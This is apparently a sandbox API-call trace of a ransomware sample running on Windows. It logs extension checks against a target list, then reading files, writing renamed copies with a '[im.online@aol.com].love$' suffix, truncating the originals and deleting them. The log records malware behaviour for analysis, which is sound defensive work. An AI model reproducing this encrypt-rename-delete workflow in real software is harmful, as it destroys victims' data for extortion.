lstrlenW (lpString=".docx") returned 5 [0099.951] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0099.951] lstrlenW (lpString=".pdf") returned 4 [0099.951] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.952] lstrlenW (lpString=".xls") returned 4 [0099.952] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.952] lstrlenW (lpString=".xlsx") returned 5 [0099.952] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0099.952] lstrlenW (lpString=".ppt") returned 4 [0099.952] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.952] lstrlenW (lpString=".zip") returned 4 [0099.952] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.952] lstrlenW (lpString=".rar") returned 4 [0099.952] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.952] lstrlenW (lpString=".bz2") returned 4 [0099.952] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.952] lstrlenW (lpString=".7z") returned 3 [0099.952] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.952] lstrlenW (lpString=".dbf") returned 4 [0099.952] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.952] lstrlenW (lpString=".1cd") returned 4 [0099.952] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.952] lstrlenW (lpString=".jpg") returned 4 [0099.952] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.952] lstrlenW (lpString=".doc") returned 4 [0099.952] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.953] lstrlenW (lpString=".docx") returned 5 [0099.953] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0099.953] lstrlenW (lpString=".pdf") returned 4 [0099.953] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.953] lstrlenW (lpString=".xls") returned 4 [0099.953] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.953] lstrlenW (lpString=".xlsx") returned 5 [0099.953] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0099.953] lstrlenW (lpString=".ppt") returned 4 [0099.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.953] lstrlenW (lpString=".zip") returned 4 [0099.953] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.953] lstrlenW (lpString=".rar") returned 4 [0099.953] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.953] lstrlenW (lpString=".bz2") returned 4 [0099.953] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.953] lstrlenW (lpString=".7z") returned 3 [0099.953] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.953] lstrlenW (lpString=".dbf") returned 4 [0099.953] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.953] lstrlenW (lpString=".1cd") returned 4 [0099.953] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0099.953] lstrlenW (lpString=".jpg") returned 4 [0099.953] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.954] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0099.954] lstrlenW (lpString="LocalizedData.xml") returned 17 [0099.954] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0099.954] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=77022) returned 1 [0099.954] CloseHandle (hObject=0x350) returned 1 [0099.954] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0099.954] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.954] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0099.955] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.955] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.955] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0099.955] GetLastError () returned 0x0 [0099.955] ReadFile (in: hFile=0x350, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x12cde, lpOverlapped=0x0) returned 1 [0099.982] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0099.985] ReadFile (in: hFile=0x350, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.986] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0099.986] SetEndOfFile (hFile=0x344) returned 1 [0099.986] CloseHandle (hObject=0x344) returned 1 [0099.992] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.992] SetEndOfFile (hFile=0x350) returned 1 [0099.994] CloseHandle (hObject=0x350) returned 1 [0099.994] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.423] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0100.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.437] lstrlenW (lpString=".doc") returned 4 [0100.437] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.437] lstrlenW (lpString=".docx") returned 5 [0100.437] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.437] lstrlenW (lpString=".pdf") returned 4 [0100.437] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.437] lstrlenW (lpString=".xls") returned 4 [0100.437] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.437] lstrlenW (lpString=".xlsx") returned 5 [0100.437] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.437] lstrlenW (lpString=".ppt") returned 4 [0100.437] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.437] lstrlenW (lpString=".zip") returned 4 [0100.437] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.437] lstrlenW (lpString=".rar") returned 4 [0100.437] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.437] lstrlenW (lpString=".bz2") returned 4 [0100.437] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.437] lstrlenW (lpString=".7z") returned 3 [0100.437] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.438] lstrlenW (lpString=".dbf") returned 4 [0100.438] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.438] lstrlenW (lpString=".1cd") returned 4 [0100.438] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.438] lstrlenW (lpString=".jpg") returned 4 [0100.438] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.438] lstrlenW (lpString=".doc") returned 4 [0100.438] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.438] lstrlenW (lpString=".docx") returned 5 [0100.438] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.438] lstrlenW (lpString=".pdf") returned 4 [0100.438] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.438] lstrlenW (lpString=".xls") returned 4 [0100.438] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.438] lstrlenW (lpString=".xlsx") returned 5 [0100.438] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.438] lstrlenW (lpString=".ppt") returned 4 [0100.438] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.438] lstrlenW (lpString=".zip") returned 4 [0100.438] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.438] lstrlenW (lpString=".rar") returned 4 [0100.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.439] lstrlenW (lpString=".bz2") returned 4 [0100.439] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.439] lstrlenW (lpString=".7z") returned 3 [0100.439] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.439] lstrlenW (lpString=".dbf") returned 4 [0100.439] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.439] lstrlenW (lpString=".1cd") returned 4 [0100.439] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0100.439] lstrlenW (lpString=".jpg") returned 4 [0100.439] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.439] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0100.439] lstrlenW (lpString="eula.rtf") returned 8 [0100.439] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0100.441] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3643) returned 1 [0100.441] CloseHandle (hObject=0x2d8) returned 1 [0100.441] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0100.441] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.441] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0100.441] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.441] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.441] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0100.442] GetLastError () returned 0x0 [0100.442] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xe3b, lpOverlapped=0x0) returned 1 [0100.445] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe40, lpOverlapped=0x0) returned 1 [0100.446] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.446] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0100.446] SetEndOfFile (hFile=0x2b8) returned 1 [0100.446] CloseHandle (hObject=0x2b8) returned 1 [0100.448] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.448] SetEndOfFile (hFile=0x2d8) returned 1 [0100.449] CloseHandle (hObject=0x2d8) returned 1 [0100.449] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.450] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0100.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.450] lstrlenW (lpString=".doc") returned 4 [0100.450] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.450] lstrlenW (lpString=".docx") returned 5 [0100.450] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.450] lstrlenW (lpString=".pdf") returned 4 [0100.450] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.450] lstrlenW (lpString=".xls") returned 4 [0100.450] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.450] lstrlenW (lpString=".xlsx") returned 5 [0100.450] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.451] lstrlenW (lpString=".ppt") returned 4 [0100.451] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.451] lstrlenW (lpString=".zip") returned 4 [0100.451] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.451] lstrlenW (lpString=".rar") returned 4 [0100.451] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.451] lstrlenW (lpString=".bz2") returned 4 [0100.451] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.451] lstrlenW (lpString=".7z") returned 3 [0100.451] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.451] lstrlenW (lpString=".dbf") returned 4 [0100.451] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.451] lstrlenW (lpString=".1cd") returned 4 [0100.451] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.451] lstrlenW (lpString=".jpg") returned 4 [0100.451] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.451] lstrlenW (lpString=".doc") returned 4 [0100.451] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.451] lstrlenW (lpString=".docx") returned 5 [0100.452] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.452] lstrlenW (lpString=".pdf") returned 4 [0100.452] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.452] lstrlenW (lpString=".xls") returned 4 [0100.452] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0100.452] lstrlenW (lpString=".xlsx") returned 5 [0100.452] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0100.452] lstrlenW (lpString=".ppt") returned 4 [0100.452] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.452] lstrlenW (lpString=".zip") returned 4 [0100.452] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0100.452] lstrlenW (lpString=".rar") returned 4 [0100.452] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.452] lstrlenW (lpString=".bz2") returned 4 [0100.452] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.452] lstrlenW (lpString=".7z") returned 3 [0100.452] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.452] lstrlenW (lpString=".dbf") returned 4 [0100.452] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.452] lstrlenW (lpString=".1cd") returned 4 [0100.452] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0100.452] lstrlenW (lpString=".jpg") returned 4 [0100.452] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.453] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0100.453] lstrlenW (lpString="LocalizedData.xml") returned 17 [0100.453] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0100.453] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=80060) returned 1 [0100.453] CloseHandle (hObject=0x2d8) returned 1 [0100.453] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0100.453] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.453] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0100.454] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.454] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.454] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0100.454] GetLastError () returned 0x0 [0100.454] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x138bc, lpOverlapped=0x0) returned 1 [0100.459] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x138c0, lpOverlapped=0x0) returned 1 [0100.462] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.462] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0100.462] SetEndOfFile (hFile=0x2b8) returned 1 [0100.462] CloseHandle (hObject=0x2b8) returned 1 [0100.465] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.465] SetEndOfFile (hFile=0x2d8) returned 1 [0100.467] CloseHandle (hObject=0x2d8) returned 1 [0100.467] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.468] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0100.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.468] lstrlenW (lpString=".doc") returned 4 [0100.468] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.468] lstrlenW (lpString=".docx") returned 5 [0100.468] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.468] lstrlenW (lpString=".pdf") returned 4 [0100.468] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.468] lstrlenW (lpString=".xls") returned 4 [0100.468] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.468] lstrlenW (lpString=".xlsx") returned 5 [0100.469] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.469] lstrlenW (lpString=".ppt") returned 4 [0100.469] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.469] lstrlenW (lpString=".zip") returned 4 [0100.469] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.469] lstrlenW (lpString=".rar") returned 4 [0100.469] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.469] lstrlenW (lpString=".bz2") returned 4 [0100.469] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.469] lstrlenW (lpString=".7z") returned 3 [0100.469] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.469] lstrlenW (lpString=".dbf") returned 4 [0100.469] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.469] lstrlenW (lpString=".1cd") returned 4 [0100.469] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.469] lstrlenW (lpString=".jpg") returned 4 [0100.469] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0100.469] lstrlenW (lpString=".doc") returned 4 [0100.469] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.469] lstrlenW (lpString=".docx") returned 5 [0100.470] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.470] lstrlenW (lpString=".pdf") returned 4 [0100.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.470] lstrlenW (lpString=".xls") returned 4 [0100.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.470] lstrlenW (lpString=".xlsx") returned 5 [0100.470] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.470] lstrlenW (lpString=".ppt") returned 4 [0100.470] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.470] 